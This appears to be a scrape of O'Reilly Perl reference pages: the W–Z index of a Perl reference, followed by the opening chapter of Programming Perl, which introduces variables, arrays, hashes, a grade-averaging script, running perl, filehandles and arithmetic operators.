Win32::OLE::Enum module : 19.18.3. Win32::OLE::Enum
Win32::OLE::Variant module : 19.18.4. Win32::OLE::Variant
Win32::Process module : 19.12. Win32::Process
Win32::Registry module : 19.13. Win32::Registry
Win32::Semaphore module : 19.14. Win32::Semaphore
Win32::Service module : 19.15. Win32::Service
Win32::Shortcut module : 19.16. Win32::Shortcut
Win32:AbortSystemShutdown() : 19.17. Win32 Extensions
Win32:BuildNumber() : 19.17. Win32 Extensions
Win32:DomainName() : 19.17. Win32 Extensions
Win32:ExpandEnvironmentStrings() : 19.17. Win32 Extensions
Win32:FormatMessage() : 19.17. Win32 Extensions
Win32:FsType() : 19.17. Win32 Extensions
Win32:GetCwd() : 19.17. Win32 Extensions
Win32:GetLastError() : 19.17. Win32 Extensions
Win32:GetNextAvailDrive() : 19.17. Win32 Extensions
Win32:GetOSVersion() : 19.17. Win32 Extensions
Win32:GetShortPathName() : 19.17. Win32 Extensions
Win32:GetTickCount() : 19.17. Win32 Extensions
Win32:InitiateSystemShutdown() : 19.17. Win32 Extensions
Win32:IsWin95() : 19.17. Win32 Extensions
Win32:IsWinNT() : 19.17. Win32 Extensions
Win32:LoginName() : 19.17. Win32 Extensions
Win32:LookupAccountName() : 19.17. Win32 Extensions
Win32:LookupAccountSID() : 19.17. Win32 Extensions
Win32:NodeName() : 19.17. Win32 Extensions
Win32:OLELastError() : 19.17. Win32 Extensions
Win32:RegisterServer() : 19.17. Win32 Extensions
Win32:SetCwd() : 19.17. Win32 Extensions
Win32:Sleep() : 19.17. Win32 Extensions
Win32:Spawn() : 19.17. Win32 Extensions
Win32:UnregisterServer() : 19.17. Win32 Extensions
Win32 systems
command processing : 3.1. Command Processing
installing Perl on : 2.3.2. Installing on Win32
window() (Text widget) : 18.11.2. Text Methods
Window() (Win32::Console) : Chapter 19, Reference: Window
Windows clipboard : 19.1. Win32::Clipboard
with() (Win32::OLE) : Chapter 19, Reference: with
withdraw() (Frame widget) : 18.18.1. Toplevel Methods
WNetGetLastError() (Win32::NetResource) : Chapter 19, Reference: WNetGetLastError
wordstart, wordend modifiers (Text widget) : 18.11.1. Text Indexes and Modifiers
-wrap option (Text) : 18.11. The Text Widget
-wraplength option (widgets) : 18.3. Common Widget Configuration Options
wrapping text : 8.147. Text::Wrap
write()
Chapter 5, Reference: write
4.10. Formats
document object (PerlScript)
20.1. Client-Side PerlScript
20.1.1.1. Document methods
Write()
Response object, PerlScript : 20.2.2.3. Response methods
Win32::Console module : Chapter 19, Reference: Write
WriteAttr() (Win32::Console) : Chapter 19, Reference: WriteAttr
WriteChar() (Win32::Console) : Chapter 19, Reference: WriteChar
WriteInput() (Win32::Console) : Chapter 19, Reference: WriteInput
writeLn() (document object, PerlScript) : 20.1.1.1. Document methods
WriteRect() (Win32::Console) : Chapter 19, Reference: WriteRect
www.perl.com and www.perl.org sites : 1.4.4. www.perl.com

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: X

x (grid geometry manager placeholder) : 18.2.2. The grid Geometry Manager
x (string repetition) operator : 4.5.11.4. String operator
X command (Perl debugger) : Chapter 6, Reference: X
x command (Perl debugger) : Chapter 6, Reference: x
-X file test operator : 4.5.8. File Test Operators
-x file test operator : 4.5.8. File Test Operators
X<> interior sequence (pod) : 4.11.2. Interior sequences
-x option (place geometry manager) : 18.2.3. The Place Geometry Manager
-x option (perl) : 3.2. Command-Line Options
x pattern match modifier
4.6.1. Pattern-Matching Operators
4.6.8. Extended Regular Expressions
X-headers (news articles) : 15.1. The NNTP Protocol
\x7f (hexadecimal value) sequence : 4.6.3. Escaped Sequences
x= (assignment) operator : 4.5.6. Assignment Operators
xgtitle() (Net::NNTP) : Chapter 15, Reference: xgtitle
xhdr command (NNTP) : 15.1. The NNTP Protocol
xhdr() (Net::NNTP) : Chapter 15, Reference: xhdr
XOR (^) operator, bitwise : 4.5.10. Bitwise Operators
xover() (Net::NNTP) : Chapter 15, Reference: xover
xpat command (NNTP) : 15.1. The NNTP Protocol
xpat() (Net::NNTP) : Chapter 15, Reference: xpat
xpath() (Net::NNTP) : Chapter 15, Reference: xpath
Xref backend (Perl compiler) : 3.4. The Perl Compiler
xrover() (Net::NNTP) : Chapter 15, Reference: xrover
-xscrollcommand option : 18.3. Common Widget Configuration Options
Scrollbar widget : 18.1.2.2. The Scrollbar widget
-xscrollincrement option (Canvas) : 18.12. The Canvas Widget
xview()
Canvas widget : 18.12.3. Canvas Methods
Entry widget : 18.8.2. Entry Methods
Listbox widget : 18.10.2. Listbox Methods
Text widget : 18.11.2. Text Methods

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: Y

-y option (place geometry manager) : 18.2.3. The Place Geometry Manager
y// pattern match operator : 4.6.1. Pattern-Matching Operators
yposition() (Menu widget) : 18.15.2. Menu Methods
-yscrollcommand option : 18.3. Common Widget Configuration Options
Scrollbar widget : 18.1.2.2. The Scrollbar widget
-yscrollincrement option (Canvas) : 18.12. The Canvas Widget
yview()
Canvas widget : 18.12.3. Canvas Methods
Listbox widget : 18.10.2. Listbox Methods
Text widget : 18.11.2. Text Methods

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: Z

\z (string end) anchor : 4.6.5. Anchors
\Z (string/line end) anchor : 4.6.5. Anchors
-z file test operator : 4.5.8. File Test Operators
Z<> interior sequence (pod) : 4.11.2. Interior sequences
-z option (dprofpp) : 6.5. The Perl Profiler

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


[Chapter 1] An Overview of Perl

Programming PerlSearch this book
Previous: We'd Like to Hear from You Chapter 1 Next: 1.2 Natural and Artificial Languages

1. An Overview of Perl

Contents:
Getting Started
Natural and Artificial Languages
A Grade Example
Filehandles
Operators
Control Structures
Regular Expressions
List Processing
What You Don't Know Won't Hurt You (Much)

1.1 Getting Started

We think that Perl is an easy language to learn and use, and we hope to convince you that we're right. One thing that's easy about Perl is that you don't have to say much before you say what you want to say. In many programming languages, you have to declare the types, variables, and subroutines you are going to use before you can write the first statement of executable code. And for complex problems demanding complex data structures, this is a good idea. But for many simple, everyday problems, you would like a programming language in which you can simply say:

print "Howdy, world!\n";

and expect the program to do just that.

Perl is such a language. In fact, the example is a complete program,[1] and if you feed it to the Perl interpreter, it will print "Howdy, world!" on your screen.

[1] Or script, or application, or executable, or doohickey. Whatever.

And that's that. You don't have to say much after you say what you want to say, either. Unlike many languages, Perl thinks that falling off the end of your program is just a normal way to exit the program. You certainly may call the exit function explicitly if you wish, just as you may declare some of your variables and subroutines, or even force yourself to declare all your variables and subroutines. But it's your choice. With Perl you're free to do The Right Thing, however you care to define it.

There are many other reasons why Perl is easy to use, but it would be pointless to list them all here, because that's what the rest of the book is for. The devil may be in the details, as they say, but Perl tries to help you out down there in the hot place too. At every level, Perl is about helping you get from here to there with minimum fuss and maximum enjoyment. That's why so many Perl programmers go around with a silly grin on their face.

This chapter is an overview of Perl, so we're not trying to present Perl to the rational side of your brain. Nor are we trying to be complete, or logical. That's what the next chapter is for.[2] This chapter presents Perl to the other side of your brain, whether you prefer to call it associative, artistic, passionate, or merely spongy. To that end, we'll be presenting various views of Perl that will hopefully give you as clear a picture of Perl as the blind men had of the elephant. Well, okay, maybe we can do better than that. We're dealing with a camel here. Hopefully, at least one of these views of Perl will help get you over the hump.

[2] Vulcans (and like-minded humans) should skip this overview and go straight to Chapter 2, The Gory Details, for maximum information density. If, on the other hand, you're looking for a carefully paced tutorial, you should probably get Randal's nice book, Learning Perl (published by O'Reilly & Associates). But don't throw out this book just yet.

Previous: We'd Like to Hear from You | Programming Perl | Next: 1.2 Natural and Artificial Languages
We'd Like to Hear from You | Book Index | 1.2 Natural and Artificial Languages


[Chapter 1] 1.2 Natural and Artificial Languages

Programming PerlSearch this book

1.2 Natural and Artificial Languages

Languages were first invented by humans, for the benefit of humans. In the annals of computer science, this fact has occasionally been forgotten.[3] Since Perl was designed (loosely speaking) by an occasional linguist, it was designed to work smoothly in the same ways that natural language works smoothly. Naturally, there are many aspects to this, since natural language works well at many levels simultaneously. We could enumerate many of these linguistic principles here, but the most important principle of language design is simply that easy things should be easy, and hard things should be possible. That may seem obvious, but many computer languages fail at one or the other.

[3] More precisely, this fact has occasionally been remembered.

Natural languages are good at both because people are continually trying to express both easy things and hard things, so the language evolves to handle both. Perl was designed first of all to evolve, and indeed it has evolved. Many people have contributed to the evolution of Perl over the years. We often joke that a camel is a horse designed by a committee, but if you think about it, the camel is pretty well adapted for life in the desert. The camel has evolved to be relatively self-sufficient.[4]

[4] On the other hand, the camel has not evolved to smell good. Neither has Perl.

Now when someone utters the word "linguistics", many people think of one of two things. Either they think of words, or they think of sentences. But words and sentences are just two handy ways to "chunk" speech. Either may be broken down into smaller units of meaning, or combined into larger units of meaning. And the meaning of any unit depends heavily on the syntactic, semantic, and pragmatic context in which the unit is located. Natural language has words of various sorts, nouns and verbs and such. If I say "dog" in isolation, you think of it as a noun, but I can also use the word in other ways. That is, a noun can function as a verb, an adjective or an adverb when the context demands it. If you dog a dog during the dog days of summer, you'll be a dog tired dogcatcher.[5]

[5] And you're probably dog tired of all this linguistics claptrap. But we'd like you to understand why Perl is different from the typical computer language, doggone it!

Perl also evaluates words differently in various contexts. We will see how it does that later. Just remember that Perl is trying to understand what you're saying, like any good listener does. Perl works pretty hard to try to keep up its end of the bargain. Just say what you mean, and Perl will usually "get it". (Unless you're talking nonsense, of course - the Perl parser understands Perl a lot better than either English or Swahili.)

But back to nouns. A noun can name a particular object, or it can name a class of objects generically without specifying which one or ones are currently being referred to. Most computer languages make this distinction, only we call the particular thing a value and the generic one a variable. A value just exists somewhere, who knows where, but a variable gets associated with one or more values over its lifetime. So whoever is interpreting the variable has to keep track of that association. That interpreter may be in your brain, or in your computer.

1.2.1 Nouns

A variable is just a handy place to keep something, a place with a name, so you know where to find your special something when you come back looking for it later. As in real life, there are various kinds of places to store things, some of them rather private, and some of them out in public. Some places are temporary, and other places are more permanent. Computer scientists love to talk about the "scope" of variables, but that's all they mean by it. Perl has various handy ways of dealing with scoping issues, which you'll be happy to learn later when the time is right. Which is not yet. (Look up the adjectives "local" and "my" in Chapter 3, Functions, when you get curious.)

But a more immediately useful way of classifying variables is by what sort of data they can hold. As in English, Perl's primary type distinction is between singular and plural data. Strings and numbers are singular pieces of data, while lists of strings or numbers are plural. (And when we get to object-oriented programming, you'll find that an object looks singular from the outside, but may look plural from the inside, like a class of students.) We call a singular variable a scalar, and a plural variable an array. Since a string can be stored in a scalar variable, we might write a slightly longer (and commented) version of our first example like this:

$phrase = "Howdy, world!\n";          # Set a variable.
print $phrase;                        # Print the variable.

Note that we did not have to predefine what kind of variable $phrase is. The $ character tells Perl that phrase is a scalar variable, that is, one containing a singular value. An array variable, by contrast, would start with an @ character. (It may help you to remember that a $ is a stylized "S", for "scalar", while @ is a stylized "a", for "array".)

Perl has some other variable types, with unlikely names like "hash", "handle", and "typeglob". Like scalars and arrays, these types of variables are also preceded by funny characters.[6] For completeness, Table 1.1 lists all the funny characters you'll encounter.

[6] Some language purists point to these funny characters as a reason to abhor Perl. This is superficial. These characters have many benefits: Variables can be interpolated into strings with no additional syntax. Perl scripts are easy to read (for people who have bothered to learn Perl!) because the nouns stand out from verbs, and new verbs can be added to the language without breaking old scripts. (We told you Perl was designed to evolve.) And the noun analogy is not frivolous - there is ample precedent in various natural languages for requiring grammatical noun markers. It's how we think! (We think.)

Table 1.1: Variable Syntax
Type | Character | Example | Is a name for:
Scalar | $ | $cents | An individual value (number or string)
Array | @ | @large | A list of values, keyed by number
Hash | % | %interest | A group of values, keyed by string
Subroutine | & | &how | A callable chunk of Perl code
Typeglob | * | *struck | Everything named struck

1.2.1.1 Singularities

From our example, you can see that scalars may be assigned a new value with the = operator, just as in many other computer languages. Scalar variables can be assigned any form of scalar value: integers, floating-point numbers, strings, and even esoteric things like references to other variables, or to objects. There are many ways of generating these values for assignment.

As in the UNIX shell, you can use different quoting mechanisms to make different kinds of values. Double quotation marks (double quotes) do variable interpolation[7] and backslash interpretation,[8] while single quotes suppress both interpolation and interpretation. And backquotes (the ones leaning to the left) will execute an external program and return the output of the program, so you can capture it as a single string containing all the lines of output.

[7] Sometimes called "substitution" by shell programmers, but we prefer to reserve that word for something else in Perl. So please call it interpolation. We're using the term in the textual sense ("this passage is a Gnostic interpolation") rather than in the mathematical sense ("this point on the graph is an interpolation between two other points").

[8] Such as turning \t into a tab, \n into a newline, \001 into a CTRL-A, and so on, in the tradition of many UNIX programs.

$answer = 42;               # an integer
$pi = 3.14159265;           # a "real" number
$avocados = 6.02e23;        # scientific notation
$pet = "Camel";             # string
$sign = "I love my $pet";   # string with interpolation
$cost = 'It costs $100';    # string without interpolation
$thence = $whence;          # another variable
$x = $moles * $avocados;    # an expression
$cwd = `pwd`;               # string output from a command
$exit = system("vi $x");    # numeric status of a command
$fido = new Camel "Fido";   # an object

Uninitialized variables automatically spring into existence as needed. Following the principle of least surprise, they are created with a null value, either "" or 0. Depending on where you use them, variables will be interpreted automatically as strings, as numbers, or as "true" and "false" values (commonly called Boolean values). Various operators expect certain kinds of values as parameters, so we will speak of those operators as "providing" or "supplying" a scalar context to those parameters. Sometimes we'll be more specific, and say it supplies a numeric context, a string context, or a Boolean context to those parameters. (Later we'll also talk about list context, which is the opposite of scalar context.) Perl will automatically convert the data into the form required by the current context, within reason. For example, suppose you said this:

$camels = '123';
print $camels + 1, "\n";

The original value of $camels is a string, but it is converted to a number to add 1 to it, and then converted back to a string to be printed out as 124. The newline, represented by "\n", is also in string context, but since it's already a string, no conversion is necessary. But notice that we had to use double quotes there - using single quotes to say '\n' would result in a two-character string consisting of a backslash followed by an "n", which is not a newline by anybody's definition.

So, in a sense, double quotes and single quotes are yet another way of specifying context. The interpretation of the innards of a quoted string depends on which quotes you use. Later we'll see some other operators that work like quotes syntactically, but use the string in some special way, such as for pattern matching or substitution. These all work like double-quoted strings too. The double-quote context is the "interpolative" context of Perl, and is supplied by many operators that don't happen to resemble double quotes.

1.2.1.2 Pluralities

Some kinds of variables hold multiple values that are logically tied together. Perl has two types of multivalued variables: arrays and hashes. In many ways these behave like scalars. They spring into existence with nothing in them when needed. When you assign to them, they supply a list context to the right side of the assignment.

You'd use an array when you want to look something up by number. You'd use a hash when you want to look something up by name. The two concepts are complementary. You'll often see people using an array to translate month numbers into month names, and a corresponding hash to translate month names back into month numbers. (Though hashes aren't limited to holding only numbers. You could have a hash that translates month names to birthstone names, for instance.)

Arrays.

An array is an ordered list of scalars, accessed[9] by the scalar's position in the list. The list may contain numbers, or strings, or a mixture of both. (In fact, it could also contain references to other lists, but we'll get to that in Chapter 4, References and Nested Data Structures, when we're discussing multidimensional arrays.) To assign a list value to an array, you simply group the variables together (with a set of parentheses):

[9] Or keyed, or indexed, or subscripted, or looked up. Take your pick.

@home = ("couch", "chair", "table", "stove");

Conversely, if you use @home in a list context, such as on the right side of a list assignment, you get back out the same list you put in. So you could set four scalar variables from the array like this:

($potato, $lift, $tennis, $pipe) = @home;

These are called list assignments. They logically happen in parallel, so you can swap two variables by saying:

($alpha,$omega) = ($omega,$alpha);

As in C, arrays are zero-based, so while you would talk about the first through fourth elements of the array, you would get to them with subscripts 0 through 3.[10] Array subscripts are enclosed in square brackets [like this], so if you want to select an individual array element, you would refer to it as $home[n], where n is the subscript (one less than the element number) you want. See the example below. Since the element you are dealing with is a scalar, you always precede it with a $.

[10] If this seems odd to you, just think of the subscript as an offset, that is, the count of how many array elements come before it. Obviously, the first element doesn't have any elements before it, and so has an offset of 0. This is how computers think. (We think.)

If you want to assign to one array element at a time, you could write the earlier assignment as:

$home[0] = "couch";
$home[1] = "chair";
$home[2] = "table";
$home[3] = "stove";

Since arrays are ordered, there are various useful operations that you can do on them, such as the stack operations, push and pop. A stack is, after all, just an ordered list, with a beginning and an end. Especially an end. Perl regards the end of your list as the top of a stack. (Although most Perl programmers think of a list as horizontal, with the top of the stack on the right.)

Hashes.

A hash is an unordered set of scalars, accessed[11] by some string value that is associated with each scalar. For this reason hashes are often called "associative arrays". But that's too long for lazy typists to type, and we talk about them so often that we decided to name them something short and snappy.[12] The other reason we picked the name "hash" is to emphasize the fact that they're disordered. (They are, coincidentally, implemented internally using a hash-table lookup, which is why hashes are so fast, and stay so fast no matter how many values you put into them.) You can't push or pop a hash though, because it doesn't make sense. A hash has no beginning or end. Nevertheless, hashes are extremely powerful and useful. Until you start thinking in terms of hashes, you aren't really thinking in Perl.

[11] Or keyed, or indexed, or subscripted, or looked up. Take your pick.

[12] Presuming for the moment that we can classify any sort of hash as "snappy". Please pass the Tabasco.

Since the keys to a hash are not automatically implied by their position, you must supply the key as well as the value when populating a hash. You can still assign a list to it like an ordinary array, but each pair of items in the list will be interpreted as a key/value pair. Suppose you wanted to translate abbreviated day names to the corresponding full names. You could write the following list assignment.

%longday = ("Sun", "Sunday", "Mon", "Monday", "Tue", "Tuesday",
            "Wed", "Wednesday", "Thu", "Thursday", "Fri",
            "Friday", "Sat", "Saturday");

Because it is sometimes difficult to read a hash that is defined like this, Perl provides the => (equal sign, greater than) sequence as an alternative separator to the comma. Using this syntax (and some creative formatting), it is easier to see which strings are the keys, and which strings are the associated values.

%longday = (
    "Sun" => "Sunday",
    "Mon" => "Monday",
    "Tue" => "Tuesday",
    "Wed" => "Wednesday",
    "Thu" => "Thursday",
    "Fri" => "Friday",
    "Sat" => "Saturday",
);

Not only can you assign a list to a hash, as we did above, but if you use a hash in list context, it'll convert the hash back to a list of key/value pairs, in a weird order. This is occasionally useful. More often people extract a list of just the keys, using the (aptly named) keys function. The key list is also unordered, but can easily be sorted if desired, using the (aptly named) sort function. More on that later.

Because hashes are a fancy kind of array, you select an individual hash element by enclosing the key in braces. So, for example, if you want to find out the value associated with Wed in the hash above, you would use $longday{"Wed"}. Note again that you are dealing with a scalar value, so you use $, not %.

Linguistically, the relationship encoded in a hash is genitive or possessive, like the word "of" in English, or like "'s". The wife of Adam is Eve, so we write:

$wife{"Adam"} = "Eve";

1.2.2 Verbs

As is typical of your typical imperative computer language, many of the verbs in Perl are commands: they tell the Perl interpreter to do something. On the other hand, as is typical of a natural language, the meanings of Perl verbs tend to mush off in various directions, depending on the context. A statement starting with a verb is generally purely imperative, and evaluated entirely for its side effects. We often call these verbs procedures, especially when they're user-defined. A frequently seen command (in fact, you've seen it already) is the print command:

print "Adam's wife is ", $wife{'Adam'}, ".\n";

This has the side effect of producing the desired output.

But there are other "moods" besides the imperative mood. Some verbs are for asking questions, and are useful in conditional statements. Other verbs translate their input parameters into return values, just as a recipe tells you how to turn raw ingredients into something (hopefully) edible. We tend to call these verbs functions, in deference to generations of mathematicians who don't know what the word "functional" means in natural language.

An example of a built-in function would be the exponential function:

$e = exp(1);   # 2.718281828459, or thereabouts

But Perl doesn't make a hard distinction between procedures and functions. You'll find the terms used interchangeably. Verbs are also sometimes called subroutines (when user-defined) or operators (when built-in). But call them whatever you like - they all return a value, which may or may not be a meaningful value, which you may or may not choose to ignore.

As we go on, you'll see additional examples of how Perl behaves like a natural language. But there are other ways to look at Perl too. We've already sneakily introduced some notions from mathematical language, such as addition and subscripting, not to mention the exponential function. But Perl is also a control language, a glue language, a prototyping language, a text-processing language, a list-processing language, and an object-oriented language. Among other things.

But Perl is also just a plain old computer language. And that's how we'll look at it next.

Previous: 1.1 Getting Started | Programming Perl | Next: 1.3 A Grade Example
1.1 Getting Started | Book Index | 1.3 A Grade Example


[Chapter 1] 1.3 A Grade Example

Programming PerlSearch this book

1.3 A Grade Example

Suppose you had a set of scores for each member of a class you are teaching. You'd like a combined list of all the grades for each student, plus their average score. You have a text file (imaginatively named grades) that looks like this:

Noël 25
Ben 76
Clementine 49
Norm 66
Chris 92
Doug 42
Carol 25
Ben 12
Clementine 0
Norm 66
...

You can use the following script to gather all their scores together, determine each student's average, and print them all out in alphabetical order. This program assumes, rather naively, that you don't have two Carols in your class. That is, if there is a second entry for Carol, the program will assume it's just another score for the first Carol (not to be confused with the first Noël).

By the way, the line numbers are not part of the program, any other resemblances to BASIC notwithstanding.

 1  #!/usr/bin/perl
 2
 3  open(GRADES, "grades") or die "Can't open grades: $!\n";
 4  while ($line = <GRADES>) {
 5      ($student, $grade) = split(" ", $line);
 6      $grades{$student} .= $grade . " ";
 7  }
 8
 9  foreach $student (sort keys %grades) {
10      $scores = 0;
11      $total = 0;
12      @grades = split(" ", $grades{$student});
13      foreach $grade (@grades) {
14          $total += $grade;
15          $scores++;
16      }
17      $average = $total / $scores;
18      print "$student: $grades{$student}\tAverage: $average\n";
19  }

Now before your eyes cross permanently, we'd better point out that this example demonstrates a lot of what we've covered so far, plus quite a bit more that we'll explain presently. But if you let your eyes go just a little out of focus, you may start to see some interesting patterns. Take some wild guesses now as to what's going on, and then later on we'll tell you if you're right.

We'd tell you to try running it, but you may not know how yet.

1.3.1 How to Do It

Gee, right about now you're probably wondering how to run a Perl program. The short answer is that you feed it to the Perl language interpreter program, which coincidentally happens to be named perl (note the case distinction). The longer answer starts out like this: There's More Than One Way To Do It.[13]

[13] That's the Perl Slogan, and you'll get tired of hearing it, unless you're the Local Expert, in which case you'll get tired of saying it. Sometimes it's shortened to TMTOWTDI, pronounced "tim-toady". But you can pronounce it however you like. After all, TMTOWTDI.

The first way to invoke perl (and the way most likely to work on any operating system) is to simply call perl explicitly from the command line. If you are on a version of UNIX and you are doing something fairly simple, you can use the -e switch (% in the following example represents a standard shell prompt, so don't type it):

% perl -e 'print "Hello, world!\n";'

On other operating systems, you may have to fiddle with the quotes some. But the basic principle is the same: you're trying to cram everything Perl needs to know into 80 columns or so.[14]

[14] These types of scripts are often referred to as "one-liners". If you ever end up hanging out with other Perl programmers, you'll find that some of us are quite fond of creating intricate one-liners. Perl has occasionally been maligned as a write-only language because of these shenanigans.

For longer scripts, you can use your favorite text editor (or any other text editor) to put all your commands into a file and then, presuming you named the script gradation (not to be confused with graduation), you'd say:

% perl gradation

You're still invoking the Perl interpreter explicitly, but at least you don't have to put everything on the command line every time. And you don't have to fiddle with quotes to keep the shell happy.

The most convenient way to invoke a script is just to name it directly (or click on it), and let the operating system find the interpreter for you. On some systems, there may be ways of associating various file extensions or directories with a particular application. On those systems, you should do whatever it is you do to associate the Perl script with the Perl interpreter. On UNIX systems that support the #! "shebang" notation (and most UNIX systems do, nowadays), you can make the first line of your script be magical, so the operating system will know which program to run. Put a line resembling[15] line 1 of our example into your program:

[15] If perl isn't in /usr/bin, you'll have to change the #! line accordingly.

#!/usr/bin/perl

Then all you have to say is

% gradation

Of course, this didn't work because you forgot to make sure the script was executable (see the manpage for chmod(1))[16] and in your PATH. If it isn't in your PATH, you'll have to provide a complete filename so that the operating system knows how to find your script. Something like

[16] Although Perl has its share of funny notations, this one must be blamed on UNIX. chmod(1) means you should refer to the manpage for the chmod command in section one of your UNIX manual. If you type either man 1 chmod or man -s 1 chmod (depending on your flavor of UNIX), you should be able to find out all the interesting information your system knows about the command chmod. (Of course, if your flavor of UNIX happens to be "Not UNIX!" then you'll need to refer to your system's documentation for the equivalent command, presuming you are so blessed. Your chief consolation is that, if an equivalent command does exist, it will have a much better name than chmod.)

% ../bin/gradation

Finally, if you are unfortunate enough to be on an ancient UNIX system that doesn't support the magic #! line, or if the path to your interpreter is longer than 32 characters (a built-in limit on many systems), you may be able to work around it like this:

#!/bin/sh -- # perl, to stop looping
eval 'exec /usr/bin/perl -S $0 ${1+"$@"}'
    if 0;

Some operating systems may require variants on this to deal with /bin/csh, DCL, COMMAND.COM, or whatever happens to be your default command interpreter. Ask your Local Expert.

Throughout this book, we'll just use #!/usr/bin/perl to represent all these notions and notations, but you'll know what we really mean by it.

A random clue: when you write a test script, don't call your script test. UNIX systems have a built-in test command, which will likely be executed instead of your script. Try try instead.

A not-so-random clue: while learning Perl, and even after you think you know what you're doing, we suggest using the -w option, especially during development. This option will turn on all sorts of useful and interesting warning messages, not necessarily in that order. You can put the -w switch on the shebang line, like this:

#!/usr/bin/perl -w

Now that you know how to run your own Perl program (not to be confused with the perl program), let's get back to our example.

Previous: 1.2 Natural and Artificial Languages | Programming Perl | Next: 1.4 Filehandles
1.2 Natural and Artificial Languages | Book Index | 1.4 Filehandles


[Chapter 1] 1.4 Filehandles

Programming PerlSearch this book

1.4 Filehandles

Unless you're using artificial intelligence to model a solipsistic philosopher, your program needs some way to communicate with the outside world. In lines 3 and 4 of our grade example you'll see the word GRADES, which exemplifies another of Perl's data types, the filehandle. A filehandle is just a name you give to a file, device, socket, or pipe to help you remember which one you're talking about, and to hide some of the complexities of buffering and such. (Internally, filehandles are similar to streams from a language like C++, or I/O channels from BASIC.)

Filehandles make it easier for you to get input from and send output to many different places. Part of what makes Perl a good glue language is that it can talk to many files and processes at once. Having nice symbolic names for various external objects is just part of being a good glue language.[17]

[17] Some of the other things that make Perl a good glue language are: it's 8-bit clean, it's embeddable, and you can embed other things in it via extension modules. It's concise, and networks easily. It's environmentally conscious, so to speak. You can invoke it in many different ways (as we saw earlier). But most of all, the language itself is not so rigidly structured that you can't get it to "flow" around your problem. It comes back to that TMTOWTDI thing again.

You create a filehandle and attach it to a file by using the open function. open takes two parameters: the filehandle and the filename you want to associate it with. Perl also gives you some predefined (and preopened) filehandles. STDIN is your program's normal input channel, while STDOUT is your program's normal output channel. And STDERR is an additional output channel so that your program can make snide remarks off to the side while it transforms (or attempts to transform) your input into your output.[18]

[18] These filehandles are typically attached to your terminal, so you can type to your program and see its output, but they may also be attached to files (and such). Perl can give you these predefined handles because your operating system already provides them, one way or another. Under UNIX, processes inherit standard input, output, and error from their parent process, typically a shell. One of the duties of a shell is to set up these I/O streams so that the child process doesn't need to worry about them.

Since you can use the open function to create filehandles for various purposes (input, output, piping), you need to be able to specify which behavior you want. As you would do on the UNIX command line, you simply add characters to the filename.

open(SESAME, "filename");               # read from existing file
open(SESAME, "<filename");              #   (same thing, explicitly)
open(SESAME, ">filename");              # create file and write to it
open(SESAME, ">>filename");             # append to existing file
open(SESAME, "| output-pipe-command");  # set up an output filter
open(SESAME, "input-pipe-command |");   # set up an input filter

As you can see, the name you pick is arbitrary. Once opened, the filehandle SESAME can be used to access the file or pipe until it is explicitly closed (with, you guessed it, close(SESAME)), or the filehandle is attached to another file by a subsequent open on the same filehandle.[19]

[19] Opening an already opened filehandle implicitly closes the first file, making it inaccessible to the filehandle, and opens a different file. You must be careful that this is what you really want to do. Sometimes it happens accidentally, like when you say open($handle,$file), and $handle happens to contain the null string. Be sure to set $handle to something unique, or you'll just open a new file on the null filehandle.

Once you've opened a filehandle for input (or if you want to use STDIN), you can read a line using the line reading operator, <>. This is also known as the angle operator, because of its shape. The angle operator encloses the filehandle (<SESAME>) you want to read lines from.[20] An example using the STDIN filehandle to read an answer supplied by the user would look something like this:

[20] The empty angle operator, <>, will read lines from all the files specified on the command line, or STDIN, if none were specified. (This is standard behavior for many UNIX filter programs.)

print STDOUT "Enter a number: ";          # ask for a number
$number = <STDIN>;                        # input the number
print STDOUT "The number is $number\n";   # print the number

Did you see what we just slipped by you? What's the STDOUT doing in those print statements there? Well, that's one of the ways you can use an output filehandle. A filehandle may be supplied as the first argument to the print statement, and if present, tells the output where to go. In this case, the filehandle is redundant, because the output would have gone to STDOUT anyway. Much as STDIN is the default for input, STDOUT is the default for output. (In line 18 of our grade example, we left it out, to avoid confusing you up till now.)

We also did something else to trick you. If you try the above example, you may notice that you get an extra blank line. This happens because the read does not automatically remove the newline from your input line (your input would be, for example, "9\n"). For those times when you do want to remove the newline, Perl provides the chop and chomp functions. chop will indiscriminately remove (and return) the last character passed to it, while chomp will only remove the end of record marker (generally, "\n"), and return the number of characters so removed. You'll often see this idiom for inputting a single line:

chop($number = <STDIN>);    # input number and remove newline

which means the same thing as

$number = <STDIN>;          # input number
chop($number);              # remove newline

Previous: 1.3 A Grade Example | Programming Perl | Next: 1.5 Operators
1.3 A Grade Example | Book Index | 1.5 Operators


[Chapter 1] 1.5 Operators

Programming PerlSearch this book

1.5 Operators

As we alluded to earlier, Perl is also a mathematical language. This is true at several levels, from low-level bitwise logical operations, up through number and set manipulation, on up to larger predicates and abstractions of various sorts. And as we all know from studying math in school, mathematicians love strange symbols. What's worse, computer scientists have come up with their own versions of these strange symbols. Perl has a number of these strange symbols too, but take heart, most are borrowed directly from C, FORTRAN, sed(1) or awk(1), so they'll at least be familiar to users of those languages.

Perl's built-in operators may be classified by number of operands into unary, binary, and trinary operators. They may be classified by whether they're infix operators or prefix operators. They may also be classified by the kinds of objects they work with, such as numbers, strings, or files. Later, we'll give you a table of all the operators, but here are some to get you started.

1.5.1 Arithmetic Operators

Arithmetic operators do exactly what you would expect from learning them in school. They perform some sort of mathematical function on numbers.

Table 1.2: Some Binary Arithmetic Operators
Example | Name | Result
$a + $b | Addition | Sum of $a and $b
$a * $b | Multiplication | Product of $a and $b
